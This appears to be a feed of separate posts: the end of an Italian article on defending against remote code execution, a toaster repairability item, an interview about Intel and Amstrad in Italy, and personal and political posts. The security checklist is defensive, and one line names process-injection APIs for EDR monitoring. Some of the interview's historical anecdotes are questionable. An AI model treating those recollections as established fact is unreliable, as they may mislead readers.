• Gestione sicura delle sessioni: Utilizzare ID di sessione robusti, implementare timeout di sessione adeguati e rigenerare l’ID di sessione dopo il login.
• Gestione degli errori: evitare di rivelare informazioni sensibili nei messaggi di errore. Registrare gli errori per il debug, ma presentare messaggi di errore generici agli utenti.

Gestione delle dipendenze e patch

Mantenere il software aggiornato: Aggiornare regolarmente software, librerie, framework e sistemi operativi con le patch di sicurezza più recenti, incluse le dipendenze di terze parti. Scansione delle vulnerabilità: Utilizzare strumenti per identificare vulnerabilità note nelle dipendenze.

Processo di gestione delle patch: Implementare un processo formale per tracciare, testare e applicare le patch di sicurezza.

Deserializzazione sicura

Evitare la deserializzazione di dati non attendibili: Se possibile, evitare di deserializzare dati provenienti da fonti non attendibili. Validare i dati deserializzati: Se la deserializzazione è necessaria, convalidare la struttura e il contenuto degli oggetti deserializzati prima di utilizzarli.

Utilizzare librerie di deserializzazione sicure: Utilizzare librerie progettate per prevenire vulnerabilità di deserializzazione.

Sicurezza della memoria

• Protezione da Buffer Overflow: Utilizzare tecniche appropriate per prevenire buffer overflow, come il controllo dei limiti e funzioni di gestione delle stringhe sicure.
• Linguaggi memory-safe: Considerare l’utilizzo di linguaggi di programmazione memory-safe (ad esempio, Rust, Go) quando possibile, poiché offrono protezione integrata contro molte vulnerabilità legate alla memoria.

Web Application Firewall (WAF)

Implementare un WAF: Un WAF può aiutare a rilevare e bloccare traffico dannoso, inclusi tentativi di sfruttare vulnerabilità RCE e addirittura 0day.

È un importante livello di difesa e prevenzione, ma non sostituisce le pratiche di codifica sicura e tutte quelle citate precedentemente!

Gestione sicura dei file

• Validare gli upload di file: Convalidare rigorosamente tipi di file, dimensioni e contenuto. Non fidarsi solo dell’estensione del file
• Archiviare i file caricati in modo sicuro: Archiviare i file caricati al di fuori della root web e utilizzare permessi di file appropriati per impedirne l’esecuzione.
• Disabilitare la navigazione delle directory: Impedire agli utenti di navigare nelle directory contenenti i file caricati.

Esecuzione di Test di sicurezza

• Analisi statica: Utilizzare strumenti di analisi statica del codice per identificare potenziali vulnerabilità nel codice sorgente prima che venga distribuito.
• Analisi dinamica (DAST): testare l’applicazione in esecuzione per identificare vulnerabilità.
• Penetration testing: Simulare attacchi reali per scoprire debolezze di sicurezza.
• Revisioni del codice: Condurre revisioni del codice regolari per identificare e risolvere problemi di sicurezza.
• Analisi della composizione del software (SCA): Analizzare le dipendenze dell’applicazione per identificare vulnerabilità note.

Rafforzare le protezioni della memoria dei processo:

• Control Flow Guard: Utilizzare il Control Flow Guard (CFG) per prevenire il dirottamento.
• DEP e ASR: Abilitare la prevenzione dell’esecuzione dei dati (DEP) e la randomizzazione del layout dello spazio degli indirizzi (ASLR) per randomizzare gli indirizzi di memoria e impedire l’iniezione.

Utilizzare EDR efficaci

• Monitor API: utilizzare degli EDR che monitorano chiamate alle API VirtualAllocEx, WriteProcessMemory, CreateRemoteThreadsospette dai processi.

Altre considerazioni

• Intestazioni di sicurezza: Utilizzare intestazioni di sicurezza (ad esempio, Content Security Policy (CSP), HTTP Strict Transport Security (HSTS)) per mitigare vari tipi di attacchi lato browser.
• Limitazione frequenza dei login: Limitare la frequenza con cui un attaccante possa eseguire continui tentativi di login per prevenire attacchi brute-force.
• Logging e monitoraggio: Registrare eventi relativi alla sicurezza e monitorare i sistemi per attività sospette. Impostare avvisi per potenziali attacchi.
• Piano di risposta agli incidenti: Avere un piano in atto su come rispondere agli incidenti di sicurezza.

Conclusione

Le vulnerabilità che portano ad una RCE sono questioni veramente serie e sono più diffuse di quanto si vorrebbe. Quando si realizza una applicazione o dei sistemi client-server, bisognerebbe sempre seguire le buone pratiche sia in fase di progettazione che di realizzazione ma anche prima di metterla in produzione e durante il mantenimento nel tempo.

Una raccomandazione è quella di monitorare costantemente le vulnerabilità attraverso anche community come RedHotCyber e tramite i comunicati dei produttori dei software (in cui molte volte è possibile iscriversi per ricevere i loro comunicati). Anche Agenzia per la cybersicurezza nazionale, come possiamo leggere dalle FAQ, monitora e invia preventivamente informazioni sulle minacce emergenti e relative attività di mitigazione attraverso i suoi canali pubblici.

Possiamo quindi seguire il loro canale Telegram al link https://t.me/s/CSIRT_Italia
Un altro canale interessante è quello del cert agid al link t.me/certagid

L'articolo Alla scoperta della Remote Code Execution (RCE). Il bug di sicurezza più temuto! proviene da il blog della sicurezza informatica.

The toaster is a somewhat modest appliance that is often ignored until it stops working. Many cheap examples are not made to be easily repaired, but [Kasey Hou] designed a repairable flat pack toaster.

[Hou] originally planned to design a repairable toaster to help people more easily form an emotional attachment with the device, but found the process of disassembly for existing toasters to be so painful that she wanted to go a step further. By inviting the toaster owner into the process of assembling the appliance, [Hou] reasoned people would be less likely to throw it out as well as more confident to repair it since they’d already seen its inner workings.

Under the time constraints of the project, the final toaster has a simpler mechanism for ejecting toast than most commercial models, but still manages to get the job done. It even passed the UK Portable Appliance Test! I’m not sure if she’d read the IKEA Effect before running this project, but her results with user testing also proved that people were more comfortable working on the toaster after assembling it.

It turns out that Wikipedia couldn’t tell you who invented the toaster for a while, and if you have an expensive toaster, it might still be a pain to repair.

hackaday.com/2025/03/02/flat-p…

Un’intervista esclusiva a Ettore Accenti. Pioniere dei pionieri della rivoluzione tecnologica in Italia. Ingegnere e imprenditore, ha segnato la storia dell’informatica italiana. Fondatore di Eledra 3S negli anni ’60, ha portato i microprocessori Intel in Italia negli anni ’70 e reso accessibili i computer Amstrad negli anni ’80, collaborando con aziende leader del settore.

Ho incontrato Ettore Accenti, ingegnere e fondatore di Amstrad Italia, in un grigio pomeriggio di febbraio. La nostra chiacchierata si è subito trasformata in un viaggio storico: un racconto che inizia a Milano, alla fine degli anni Sessanta, attraversa gli Ottanta e arriva ai giorni nostri, testimoniando in prima persona gli eventi che hanno forgiato la Silicon Valley.

La nascita dell’industria elettronica, lo sviluppo tecnologico e le storie di visionari che trasformarono la Valle di Santa Clara nel Sancta Sanctorum della tecnologia. Decisioni rivoluzionarie – come quella di Intel di abbandonare le memorie per concentrarsi sui microprocessori – vennero prese nelle stanze “segrete” dei colossi del settore, plasmando il futuro digitale. Scienziati, inventori e trilioni di dollari hanno catapultato il mondo nella rivoluzione informatica, partendo da una terra un tempo dominata da frutteti. In sole due ore di intervista, Accenti mi ha trasportato, con il pathos del suo racconto, in quegli ambienti, facendomi scoprire storie e persone che altrimenti sarebbero rimaste nell’ombra.

L’ingegnere Accenti incarna le qualità esemplari degli italiani: l’intraprendenza milanese, l’anarchia creativa napoletana, la tenacia dei meridionali e l’ingegno di una consorte siciliana. Questo mix spiega i suoi successi, nonostante un contesto spesso poco favorevole. Ma come ebbe inizio questa avventura? Scopriamolo insieme.

Nato a Milano in una famiglia di ingegneri, coltivò fin da piccolo una passione viscerale per la tecnologia, accompagnata dall’amore per la fotografia. Dopo il liceo, all’Istituto Zaccaria, si iscrisse al Politecnico di Milano. La scintilla definitiva si accese durante le scuole medie, quando, leggendo un libricino divulgativo, scoprì le onde hertziane e realizzò il suo primo ricevitore radio.

Negli anni in cui, all’Università di Berkeley, prendeva forma il movimento del Sessantotto – che in Italia culminò con l’autunno caldo – Accenti, a Milano, saldava transistor, replicando in piccolo la rivoluzione tecnologica d’oltreoceano. Collaborando con una rivista di elettronica, si immerse nello studio dei semiconduttori, i materiali alla base dei transistor che di lì a poco avrebbero sostituito le ingombranti valvole termoioniche. Fu così che ebbe inizio la sua missione: trasformare l’Italia da spettatrice a protagonista dell’era dei microchip.

Per colmare le lacune dell’editoria hobbistica, utilizzò le “replay card” – cartoline prestampate per richiedere dati tecnici alle aziende -. Grazie a questo sistema, ottenne manuali e componenti da aziende come Philips e SGS, realizzando progetti pionieristici. Ma il salto definitivo arrivò con Intel.
Ing. Ettore Accenti
Carlo: Ingegnere, come iniziò la collaborazione con Intel?

Accenti: Nell’agosto del 1969, leggendo la rivista Electronics, scoprii la neonata Intel, fondata da Robert Noyce e Gordon Moore a Mountain View. Da amministratore di Eledra 3S, inviai una lettera – scritta dalla mia segretaria, futura moglie e studentessa alla Bocconi – per propormi come loro rappresentante in Italia.

Carlo: Parliamo di Robert Noyce, co-inventore del circuito integrato, e di Gordon Moore, padre dell’omonima legge?

Accenti: Esatto. Dopo mesi di silenzio, mi chiamò Jean Paulsen di Intel Europa. Organizzammo un incontro a Milano e, nonostante le titubanze iniziali, ottenni un periodo di prova di tre mesi e la documentazione per due prodotti: la memoria i3101 e la Silicon-MOS da 256 bit.

Legge di Moore, Steve Jurvetson

Carlo: Ha conosciuto i giganti dell’informatica?

Accenti: Certo. Oltre agli affari, volevo scoprire le persone dietro i nomi, le cui storie sono leggendarie. Conosci la vicenda di Noyce e Moore?

Carlo: Racconti Ingegnere.

Accenti: William Shockley, premio Nobel per la Fisica nel 1956, lasciò i Bell Labs nel 1955 per fondare a Mountain View la Shockley Semiconductor. Tra i primi assunti vi furono Gordon Moore (chimico) e Robert Noyce (fisico), che nel 1957 abbandonarono l’azienda insieme ad altri sei colleghi, gruppo noto come gli “8 traditori”, per fondare la Fairchild Semiconductor. Nel 1968, Noyce e Moore lasciarono anche Fairchild per creare Intel. Altri ex Fairchild, come Jerry Sanders, fondarono AMD nel 1969, mentre National Semiconductor, esistente dal 1959, reclutò talenti proprio da Fairchild.
Per gentile concessione dell’Ing. Ettore Accenti
Carlo: Avviata la collaborazione, è mai volato in America, alla sede di Intel?

Accenti: Sì, già nel primo anno andai in California per incontrare i fondatori di Intel. Partecipai anche a incontri in Italia con dirigenti della stessa azienda, ma l’esperienza più significativa fu quella a Mountain View.

Carlo: Chi incontrò alla Intel?

Accenti: Oltre a Noyce e Moore, incontrai Bob Graham, il marketing manager. In Italia, negli uffici della mia azienda, ricevetti visite da Mike Markkula, Ted Hoff e Stan Mazor.

Carlo: Markkula è una figura chiave. Quale ruolo ricopriva?

Accenti: Markkula era sales manager di Intel, ma la svolta arrivò nel 1976, quando investì 250.000 dollari in Apple, salvando Jobs e Wozniak dal fallimento. Senza di lui, Apple come la conosciamo oggi forse non esisterebbe.

Carlo: All’inizio Intel produceva memorie, non processori. Si imbatté in problemi tecnici?

Accenti: Esatto. All’epoca il Dr. Faggin non era ancora arrivato in Intel. Come per ogni innovazione, non mancarono intoppi. Hai mai sentito parlare del “Soft Error”? Alcune aziende, come Honeywell, sostituivano le vecchie memorie magnetiche con i nostri chip, più compatti ed efficienti. Seguivo personalmente i test fino alla consegna al cliente, ma Honeywell iniziò a restituire le i1103, giudicate difettose. Sostituivo i chip e li inviavo per analisi, mentre Intel li dichiarava funzionanti. Dopo sei mesi, scoprimmo che il problema era causato dai raggi cosmici, particelle che, attraversando l’atmosfera, alteravano la carica elettrostatica dei chip, trasformando un bit da 1 a 0. La soluzione fu schermare i chip dalle radiazioni.

Carlo: Raggi cosmici? Incredibile. E in Italia, come reagì il mercato?

Accenti: Distribuivo memorie Intel a clienti come Olivetti, Siemens e Selenia. Il mercato italiano era strategico per loro: i dirigenti Intel venivano spesso qui. Ricordo un episodio esilarante.

Carlo: Lo Racconti!

Accenti: Nel 1970, accompagnai Gordon Moore, Ed Gelbach e Tom Lawrence alla Olivetti di Ivrea. Ero alla guida della mia Alfa Giulietta a 160 km/h sull’autostrada Milano-Torino, quando udii dal sedile posteriore gridare: “Ettore!!! Se non rallenti ti togliamo la rappresentanza! In questa auto stai trasportando metà del quartier generale Intel!”
Per gentile concessione dell’Ing. Ettore Accenti
Carlo: Intel, da pioniera, ha sempre avuto successo?

Accenti: Negli anni ’70, con il mercato delle memorie saturo e la concorrenza in crescita, Intel cercò nuovi sbocchi puntando sul settore degli orologi al quarzo. Acquistò la “Microma”, un’azienda specializzata in orologi elettronici a cristalli liquidi. Robert Noyce mi mostrò il suo primo orologio al quarzo, con una precisione di pochi secondi all’anno e un design futuristico, ma a 200 dollari si rivelò un cattivo affare. Io, con Eledra 3S, ne acquistai un lotto ma il progetto fallì.

Carlo: E con Apple? Collaborò con Steve Jobs?

Accenti: Nel 1979 incontrai Mike Markkula, ex Intel e investitore di Apple,allora CEO dell’azienda della “mela morsicata”. Avviammo una partnership per l’Apple II in Italia evitando conflitti con Iret, l’altro distributore italiano. L’Apple II decollò, mentre l’Apple III, causa circuiti difettosi e problemi di surriscaldamento non ebbe il successo meritato. Nel 1983, con Jobs emarginato e le attività sospese, intentammo una causa che si concluse con un accordo vantaggioso. Deluso, riorientai le attività verso nuove collaborazioni, trasformando la sede Apple di Milano in una divisione “Computer Professionali” e, nel 1984, raddoppiammo il fatturato.

Carlo: Qual è stato il giro d’affari di Eledra 3S?

Accenti: Nel 1984 il Gruppo Eledra raggiunse un fatturati di svariati miliardi di lire.

Carlo: Incredibile! Ma tornando a Intel, non abbiamo ancora menzionato i suoi prodotti di punta: i microprocessori.

Accenti: Durante la mia visita nel 1970 allo stabilimento Intel di Mountain View, dopo aver sottoscritto un patto di riservatezza, il Dr. Moore e il Dr. Noyce mi mostrarono un prototipo rivoluzionario: una ROM cancellabile con raggi UV. Il Dr. Dov Frohman, il suo inventore, me ne illustrò il funzionamento.

Carlo: Quindi assistette alla nascita delle EPROM?

Accenti: Sì. Quel prototipo divenne l’EPROM i1702 da 256 bit. All’epoca, Faggin era appena arrivato in Intel dalla Fairchild, e il microprocessore non era ancora stato realizzato. Il mercato restava quello delle memorie.

Carlo: Ma quando nacque il primo microprocessore Intel?

Accenti: Nel 1971, con l’Intel 4004, creato da Faggin, Hoff e Mazor. Inizialmente fu sottovalutato: i volumi di vendita erano irrisori rispetto alle memorie. Addirittura, Intel lo offriva come bonus per incentivare gli ordini di chip! La svolta arrivò nel 1986, quando Andy Grove, presidente di Intel, in vacanza in Austria, decise di abbandonare la produzione di memorie per concentrarsi esclusivamente sulla produzione di microprocessori.
Per gentile concessione dell’ing. Ettore Accenti
Carlo: Quindi fu sufficiente questo passaggio per far diventare Intel un colosso?

Accenti: Non solo. Il Crush Program, ideato dal capo marketing Bill Davidow, fu decisivo. Negli anni ’80, Intel era in crisi: Motorola dominava con il suo 68000 e Zilog, fondata da Faggin dopo aver lasciato Intel, con lo Z80. I clienti preferivano le loro CPU a 16 bit rispetto alle nostre a 8 bit (8008, 8080, 8085). Nove su dieci sceglievano i rivali.

Carlo: E come reagì Intel?

Accenti: Con il Crush Program: un piano segreto per annientare la concorrenza. Mobilitammo tutti, dai distributori come Eledra 3S fino ai vertici, come Grove. Per clienti strategici, quali Olivetti, organizzammo squadre pronte a intervenire in 24 ore. L’obiettivo era presentarci come partner di sistema, non solo fornitori. Rivelammo una roadmap con la serie x86 (286, 386, 486… Pentium), software retro compatibili, ma ancora su carta. Un azzardo geniale: promettemmo compatibilità futura per ridurre i costi di sviluppo.

Carlo: Ma come riuscì Intel a convincere i suoi clienti con prodotti inesistenti?

Accenti: Con la fiducia. Intel aveva già creato board prototipali e sistemi di sviluppo. Svelammo i piani x86 sotto accordi di riservatezza. I tecnici dovettero realizzare ciò che il marketing aveva promesso. E ci riuscirono: in un anno conquistammo 2.000 clienti, il doppio del previsto. Olivetti adottò l’8086, mentre Motorola e Zilog furono colte alla sprovvista. Quella visione trasformò Intel nel gigante di oggi.

Carlo: Passiamo a un altro successo: la nascita di Amstrad Italia. Quali sfide affrontò in quel periodo?

Accenti: Nel 1987, noi distributori navigavamo a vista. L’aumento della concorrenza giapponese e la decisione dei produttori di aprire filiali dirette nei principali Paesi ci resero la vita difficile. In Italia, la svalutazione della lira, il finanziamento del credito clienti e un tasso di cambio del dollaro sfavorevole ci costringevano a grandi sacrifici. Olivetti, nel 1983 manifestò interesse per la mia azienda, quindi valutai una joint venture. L’accordo si concretizzò solo nel luglio 1986, anno di crisi globale: Olivetti, grazie ad un aumento di capitale, entrò in Eledra come partner con il 49%, ma fraintese il nostro modello di business. Eravamo un distributore di servizi, non un trader. I prezzi erano fissati dai contratti con i produttori, e il nostro guadagno derivava da accrediti fissi, non dalla speculazione.

Carlo: Cosa portò al collasso della joint venture?

Accenti: Continuarono i conflitti: mi accusarono di non saper “acquistare”, confondendo i contratti di accredito con la compravendita. Olivetti pretese liquidazioni insensate e bloccò persino un’offerta di salvataggio da un grande distributore internazionale, chiedendomi le dimissioni.

Carlo: Ma come la fenice è rinato dalle ceneri della sua azienda!

Accenti: Rifiutai una proposta tedesca e scelsi Alan Sugar per lanciare Amstrad in Italia. Fu un’avventura intensa di tre anni, seguita da altri tre come vicepresidente di Memorex-Telex.

Carlo: In quanto tempo organizzò Amstrad Italia e quali risultati raggiunse?

Accenti: Dopo aver lasciato Eledra, creai Amstrad Italia da zero in solo tre mesi. In tre anni raggiungemmo un fatturato di centinaia di miliardi di lire, dimostrando che l’innovazione poteva vincere anche in un mercato turbolento.

Carlo: Siamo giunti alla conclusione dell’intervista. La ringrazio per il tempo che ci ha dedicato. Vorrei porle un’ultima domanda: avendo conosciuto, collaborato, e stretto amicizia con figure storiche dell’informatica come Gordon Moore, Robert Noyce, Mike Markkula, Steve Jobs e Steve Wozniak, potrebbe condividere con noi un tratto distintivo della loro personalità?

Accenti: Steve Jobs era un visionario e un genio del marketing, capace di anticipare i desideri delle persone. Tuttavia, poteva risultare divisivo nella leadership e necessitava del supporto tecnico di Steve Wozniak, il vero genio dietro i primi computer Apple. Robert Noyce, invece, era sobrio e accessibile, combinando un rigoroso approccio scientifico con una rara umanità. Mike Markkula riconobbe subito il potenziale dell’Apple II e contribuì significativamente alla crescita di Apple, investendo personalmente e fornendo una guida strategica all’azienda.

Carlo: E per restare in tema, ha conosciuto anche Jack Tramiel, vero?

Accenti: Sì. La mia azienda fu tra i principali distributori del Commodore 64. In quegli anni, fatturammo diversi miliardi di lire grazie a quel modello. Tramiel mi invitò, insieme alla mia famiglia, a Los Angeles per una cena di lavoro, accompagnato dal suo direttore commerciale.

Carlo: Ingegnere, non posso che ringraziarla a nome mio e del pubblico che leggerà questa intervista, tanto piacevole quanto ricca di spunti.

Oggi, l’ingegnere Ettore Accenti, oltre a vantare un glorioso passato, è attivo come consulente per piccole e medie imprese, collabora con diverse Università e scrive articoli e libri, disponibili per l’acquisto sulle principali piattaforme online

L'articolo Dalla Eledra 3S a Intel: l’ingegnere italiano che portò l’Italia nella rivoluzione dei semiconduttori proviene da il blog della sicurezza informatica.

Oggi sono rientrato da Malaga.

Malaga è Spagna, è Europa, e io amo l'Europa: unita, comune a tutti noi e - mi auguro - da ora in poi più forte.

Anche l'Italia è Europa, ma da qualsiasi Paese io provenga, ogni volta che ci ritorno, che ritorno a casa, ho un'impressione pessima del nostro Paese, che dura qualche ora, a volte un giorno o 2, perché ho ancora gli occhi dell'esploratore. Quelli del cittadino che vive qui ci mettono un po', a tornare.

Con quegli occhi vedo un Paese decadente, triste, che cade letteralmente in pezzi, mentre il resto dell'Europa va avanti.

E' vero, in alcuni Paesi europei sto meglio che in Italia, per i miei problemi di salute, ma non è solo questo. Parlo della qualità delle strade, dei trasporti, di cosa vedi quando ti guardi in giro: piste ciclabili, panorami urbani, lungomare, autostrade, aeroporti, eccetera.

Certo, ci sono anche ell'estero posti come quelli che ho appena descritto, ma ho la netta sensazione che nel nostro Paese tutti questi problemi siano...più densi, più presenti.

Se viaggiate spesso in Europa, vi chiedo: sono pazzo io o anche voi avete questa sensazione?

Un altro passo prima di chiudere definitivamente il mio account G💩gle: migrare tutti i (pochi) video del mio canale su #Peertube Uno Italia!

Tra questi, ecco la breve presentazione che ho realizzato qualche anno fa per l'Indirizzo Musicale dell'I.C. "Leonardo da Vinci", di #Ciampino dove insegno ormai da una decina d'anni.

Abbiamo ben 8 strumenti (caso unico nel Lazio e molto raro anche in tutta Italia!) e da noi la musica e le emozioni non mancano mai!

(indiscrezione... sto portando avanti la proposta di aprire il canale ufficiale della scuola su peertube.uno... 😉🤞)

P.S.: tutti i brani che sentite sono stati registrati dal vivo durante i concerti dei nostri ragazzi (tranne l'ultimo, montato in pandemia con le loro riprese inviate da casa).

Buona visione! 😊

L’Indirizzo Musicale dell’I.C. “Leonardo Da Vinci” di Ciampino

Otto strumenti, concerti, concorsi, gemellaggi... Tanti stili musicali, sfide, traguardi! Tutto questo ti aspetta alla "Leonardo Da Vinci" di Ciampino. Energia, passione, emozione... scoperta, cond...

^{PeerTube Uno Italia - Video Streaming italiano libero e federato}

Quando l’Europa smetterà di guardare oltreoceano come se ogni risposta arrivasse da lì? Quando gli europei torneranno a usare la propria testa, senza prendere a modello Stati e leader che hanno già mostrato i loro limiti? È tempo di tagliare il cordone ombelicale, di maturare, di sciogliere dipendenze che ci rendono fragili.

Negli ultimi anni, il pensiero americano ha dimostrato di essere malato, intrappolato in una spirale di estremismi, conflitti interni e illusioni di grandezza. Eppure, nonostante i segnali d’allarme, c’è ancora chi in Europa guarda a certi movimenti con ammirazione, senza comprendere il pericolo. Il fenomeno MAGA, con la sua retorica aggressiva e la sua nostalgia per un passato idealizzato, non è solo un problema americano: è una minaccia che rischia di contaminare anche noi.

L’Europa non può permettersi di importare modelli fallimentari, di lasciarsi trascinare in guerre culturali che non le appartengono, di diventare un’eco di una società che fatica a tenersi in piedi. Dobbiamo difendere il nostro spazio politico e culturale, riaffermare i nostri valori, costruire una visione autonoma del futuro. Il mondo non ha bisogno di copie sbiadite dell’America: ha bisogno di un’Europa forte, consapevole, indipendente.